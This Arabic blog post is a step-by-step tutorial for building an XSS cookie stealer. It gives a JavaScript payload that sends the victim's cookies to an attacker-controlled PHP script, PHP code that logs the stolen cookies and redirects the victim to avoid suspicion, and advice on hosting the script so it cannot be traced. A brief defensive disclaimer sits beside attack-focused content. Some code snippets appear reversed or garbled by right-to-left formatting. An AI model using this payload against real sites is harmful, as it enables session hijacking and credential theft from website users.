كتابة XSS Cookie Stealer في JavaScript لسرقة كلمات المرور

مواضيع مفضلة

الأحد، 5 مايو 2019

كتابة XSS Cookie Stealer في JavaScript لسرقة كلمات المرور

XSS Cookie Stealer

لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة 

تعد JavaScript واحدة من أكثر اللغات شيوعًا المستخدمة على الويب. يمكنه أتمتة وتحريك مكونات موقع الويب ، وإدارة محتوى موقع الويب ، والقيام بالعديد من الوظائف المفيدة الأخرى من داخل صفحة ويب. تحتوي لغة البرمجة النصية أيضًا على العديد من الوظائف التي يمكن استخدامها لأغراض ضارة ، بما في ذلك سرقة ملفات تعريف ارتباط المستخدم التي تحتوي على كلمات المرور وغيرها من المعلومات.

cookies هي معلومات يطلبها موقع ويب أو يحتفظ بها فيما يتعلق بمستخدمين محددين يزورون الصفحة. تحتوي ملفات cookies هذه على معلومات حول كيفية ووقت الزيارة ، وكذلك معلومات المصادقة للموقع مثل أسماء المستخدمين وكلمات المرور. نظرًا لأن ملفات cookies هذه يجب أن تكون قيد الاستخدام عندما يكون الزائر نشطًا على موقع ويب معين ، فيمكن للمهاجمين الذين يمكنهم اعتراضها سرقة هذه المعلومات واستخدامها لانتحال معلومات من مستخدمين محددين أو فهرستها.

من الممكن استخدام JavaScript من أجل حفظ أو تعديل ملفات cookies المستخدم لنطاق معين. بينما يتم تطبيق هذا عادةً لإنشاء ملفات cookies واستخدامها لتطوير الويب التفاعلي ، إذا كان المهاجم قادرًا على عرض ملفات cookies نفسها بشكل ضار ، فإنه يصبح أسلوبًا تقديريًا ذا قيمة. تكون الهجمات المستندة إلى JavaScript فعالة بشكل خاص عند دمجها مع التكتيكات مثل حقن الشفرة ، لأنها تتيح تنفيذ التعليمات البرمجية الضارة على ما يبدو أنه موقع ويب موثوق به.

على الرغم من أننا لا ندافع عن سرقة كلمات مرور أي شخص ، إلا أن هذا الدليل هو موضوع يجب معرفته لأي خبير أو خبير في تكنولوجيا المعلومات لفهمه. إذا كنت لا تعرف كيف يقوم قراصنة القبعة السوداء بأشياء ، فلن تكون قادرًا على الإمساك بهم.



إنشاء صفحة اختبار HTML


من أجل سرقة ملفات cookies ، يجب أن يتوفر ملف cookies أولاً على نطاق الويب الذي يعرضه المستخدم. يحدث هذا كلما شاهد المستخدم الموقع. على الرغم من أنه من الممكن تمامًا ضخ JavaScript في مواقع الويب باستخدام man-in-the-middle ، أو من خلال استغلال موقع ويب ضعيف ، فإن كلاهما يتطلب بذل جهد إضافي للتنفيذ.

ستكون بيئة اختبار ملفات
cookies الخاصة بنا ضمن صفحة فهرس HTML قياسية إلى حد ما. سنكون قادرين على تضمين كل عناصر JavaScript في السطر. أولاً ، قم بإنشاء مجلد جديد لاحتواء ملف HTML. على نظام Linux أو macOS ، يمكننا استخدام mkdir ، كما هو موضح أدناه.

mkdir cookiestealer

يمكننا الانتقال إلى هذا المجلد باستخدام الأمر cd ، كما في هذا المثال.

cd cookiestealer

بمجرد دخولنا إلى هذا المجلد ، يمكننا إنشاء ملف index لدينا باستخدام امر touch عن طريق كتابة ما يلي في نافذة تيرمنال

touch index.html

 لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة

بعد ذلك ، سنقوم بتحرير ملف index هذا أيضًا. أولاً ، افتح الملف بأداة nano او استخدم اي محرر نصوص اخر.

nano index.html

أضف علامات الفتح والإغلاق الأساسية لـ HTML اللازمة. في هذه الحالة ، نحتاج فقط إلى علامات "html" و "body" حيث لا توجد عناصر "head" مطلوبة لاختبار JavaScript. يجب أن يبدو الملف الآن مشابهاً أدناه.

<html>
<body>
</body>
</html>

لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة 
الان احفط الملف الذي قمت بكتابة عليه كود HTML. عند هذه النقطة ، إذا فتحت في متصفح الويب ، ستكون صفحتنا فارغة. يمكننا إضافة عنصر عنوان أو بعض محتويات HTML الأساسية ، أو حتى إضافة عناصر البرمجة النصية لدينا إلى أي صفحة ويب أنشأناها ، ولكن لأغراض الاختبار ، سيكون هذا كافياً.


 لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة
 

إنشاء ملف Cookie


يمكننا إنشاء parameter أساسية مدرجة في ملف cookie باستخدام متغير string واحدة فقط. سيكون ملف cookie هذا موجودًا فقط داخل هذه الصفحة ، وبالمثل ، فإن التقنية المستخدمة لتفريغ ملفات cookies في وقت لاحق سيتم تطبيقها على أي ملف cookie يتم تخزينه داخل الصفحة التي يتم تشغيل البرنامج النصي أو حقنه.

يجب أن يبدو نصنا الآن مشابهًا للمثال أدناه.

<"script type="text/javascript>
;"document.cookie = "username=arab cyber
;document.write(document.cookie)
<script
/>
  

لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة 


سرقة ملفات Cookies باستخدام جافا سكريبت

string JavaScript التي سنستخدمها لتمرير ملفات cookies إلى server حيث يمكننا الكتابة إليها ستستخدم مرة أخرىparameter  document.cookie ، ومع ذلك ، سيتم تمريرها في السطر مع عنوان URL كما هو محدد في document.location.

;document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie


في هذا المثال ، يوجد ملف PHP على الجهاز المحلي ، أو المضيف المحلي ، على 127.0.0.1. عند النشر الفعلي لهذه التقنية ، يجب أن تشير إلى ملف مستضاف على server ويب يمكن حله إلى خارج الشبكة المحلية أو الجهاز المحلي.

إذا كان أحدهم يستهدف موقع ويب خاص بالوسائط الاجتماعية ، فسيتم حقن البرنامج النصي داخل هذا الموقع ، وسيتم إرسال ملفات تعريف الارتباط التي سرقت إلى عنوان IP أو عنوان URL لخادم يتحكم فيه المتسلل.

لأغراض الاختبار ، سنكون قادرين على استضافة الملف محليًا باستخدام وحدة خادم اختبار PHP.

يمكننا تضمين JavaScript في علامات البرامج النصية ، كما هو موضح أدناه ، على نفس صفحة HTML التي عرفنا عليها نموذج ملف تعريف ارتباط.

لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة 

 

هذا جافا سكريبت يكفي لإرفاق ملف cookie لطلب تم إرساله إلى عنوان URL لـ PHP ، وبالتالي فهو في الواقع كامل جافا سكريبت المطلوبة لهذه الوظيفة. يجب معالجة بقية ملفات cookie بواسطة PHP. 

معالجة ملفات تعريف الارتباط باستخدام PHP


نحن قادرون على التحكم في ما نقوم به مع ملف cookie وحيث نوجه المستخدم الذي سرق ملفات cookie الخاصة به من داخل ملف PHP ، المحدد في string JavaScript. في المثال أعلاه ، كان اسم ملف PHP هذا هو cookiestealer.php ، وكان موجودًا على النظام المحلي في 127.0.0.1.

هذا يكفي لنشر الاختبار ، ولكن في سيناريو العالم الواقعي سيكون من الأفضل تقديم ملف PHP باسم أقل وضوحًا وموجود على عنوان IP أو URL خارجي.

أولاً ، قم بإنشاء ملف PHP جديد في نفس المجلد كملف index.html. يمكنك القيام بذلك عن طريق كتابة الأمر التالي.

nano cookiestealer.php


بعد إضافة PHP بين قوسي الفتح والإغلاق ، العنصر الأول الذي نريد تحديده هو إعادة توجيه الموقع ، كما هو موضح في هذا المثال.


php?>
;header ('Location:https://google.com')
<
?

نعرّف هذا بأنه "الموقع" الذي يلي "header" ، وفي هذه الحالة "https://google.com". يمكن ضبطه على كل ما تختاره ، طالما أنه عنوان يمكن معالجته بواسطة متصفح الويب. للحد من مخاطر أن يكون المستخدم على علم بالهجوم ، سيكون من الأفضل إعادة توجيهه إلى صفحة ذات صلة في نفس المجال ، بحيث لا يشعرون بالقلق ، أو يتعثرون في حلقة لا نهائية من النص الذي يعمل مرارًا وتكرارًا .

 لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة

مع إنشاء إعادة توجيه المستخدم ، يمكننا إضافة رمز إضافي لمعالجة ملف cookie. أولاً ، سنقوم بتعيين ملف cookie كما يحمله عنوان URL لمتغير.

;cookies = $_GET["c"]$

بعد ذلك ، سوف نحدد الملف الذي سيتم حفظ ملفات cookie عليه على server الذي نتحكم فيه. في المثال أدناه ، تم تسمية الملف باسم "log.txt".

;file = fopen('log.txt', 'a')

أخيرًا ، سنجمع بين المتغيرات المحددة في strings السابقتين من أجل كتابة محتوى المتغير ، ملف cookie ، إلى ملف log الخاص بنا.

;fwrite($file, $cookies . "\n\n")


يجب أن يظهر code الآن بشكل مشابه للصورة أدناه. 

لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة 

اختبار Cookie Stealer

يتضمن إصدار PHP المتاح في معظم توزيعات Linux وأنظمة التشغيل المشابهة لنظام التشغيل يونيكس خادم اختبار. وحدة الخادم هذه صغيرة ومحدودة وغير مناسبة للنشر المباشر ، ولكنها خفيفة الوزن للغاية وفعالة لاختبار شفرة PHP.

من داخل نفس المجلد مثل ملفات index.html وملفات cookiestealer.php ، يمكننا تشغيل server اختبار PHP من سطر الأوامر عن طريق كتابة ما يلي.

php -S 127.0.0.1:80

لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة

يسمح لنا server الاختبار هذا الآن باختبار صفحتنا بمجرد فتح "127.0.0.1" داخل متصفح الويب على نفس الجهاز.

 لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة

بعد فتح هذه الصفحة ، من المرجح أن يحل متصفحنا على الفور تقريبًا إلى موقع الويب الذي حددناه كإعادة توجيه ، في هذه الحالة Google

 لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة


إذا ألقينا نظرة على سجل خادم PHP الخاص بنا ، فسنلاحظ أنه تم تمرير وسيطة إلى ملف PHP الخاص بنا وتم تنفيذ كود PHP الخاص بنا.

 لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة

أخيرًا ، سنتمكن من استرداد ملفات cookies عن طريق التحقق من ملف "log.txt" الموجود الآن في دليل موقعنا. يمكننا عرض هذا باستخدام امر cat في سطر الأوامر.

cat log.txt

إذا كان السجل يحتوي على محتويات ملف cookie الخاص بنا ، في هذه الحالة "username = arab cyber" ، فقد سرقنا ملفات تعريف الارتباط بنجاح باستخدام JavaScript!

نشر الهجوم

يعد هذا الهجوم ذا قيمة كبيرة في التلف والحصول على بيانات اعتماد المستخدم في أي سيناريو يمكنك من خلاله إدخال تعليمات برمجية على موقع قد يستخدم فيه المستخدمون ملفات Cookies. تحتوي ملفات Cookies غالبًا على معلومات مهمة للمستخدم في نص عادي ، وفي كثير من الأحيان تحتوي على مفاتيح خاصة يمكن استخدامها لانتحال هوية المستخدم أو تسجيل الدخول كمستخدم.

يمكن حقن هذا الهجوم في أي مكان يمكن فيه إدراج علامة HTML البرمجية. تستخدم إحدى طرق الاختبار الشائعة لاختبار نماذج الويب الخاصة بضعف XSS forms "تنبيه"
alert" بسيطة مثل تلك الموجودة أدناه.

<script>alert("Alert");</script>
 
سيحاول هذا البرنامج النصي ببساطة فتح مربع تنبيه مثل المثال أدناه. إذا تم فتحه ، فسيكون الموقع عرضة لـ XSS.


 لسرقة كلمات المرور JavaScript في XSS Cookie Stealer كتابة

في أي هجوم مباشر ، يكون المتسلل حذرًا في الطريقة التي يتم بها استضافة البرنامج النصي PHP. إذا تم القيام به بشكل غير صحيح ، يمكن تتبع أصل ملف PHP بسهولة إلى المتسلل. إذا تم اكتشاف تكتيك مثل هذا ، من أجل تحديد هوية المهاجم ، فسيكون من المفيد محاولة البحث عن معلومات حول مكان إرسال ملفات cookies المسروقة وتخزينها.

توضح هذه الطريقة مدى فعالية جافا سكريبت كأداة هجوم. على الرغم من أنه مفيد جدًا لجعل الويب أكثر ملاءمة ، إذا كان موقع الويب عرضةً لحقن جافا سكريبت الضار ، فإنه يمكن أن يمثل خطراً كبيراً على الموقع ومستخدميه. يقع عبء المسؤولية عن منع هجمات XSS على مطوري الويب الذين يقومون بإنشاء مواقع آمنة. يمكنك أيضًا الاطلاع على دليلنا لمنع هجمات XSS. إذا كان المستخدم لا يثق في البرامج النصية التي يتم تشغيلها على موقع ويب ، فيمكنه حظرها باستخدام ملحق مستعرض ويب مثل NoScript.

إرسال تعليق

المشاركة على واتساب متوفرة فقط في الهواتف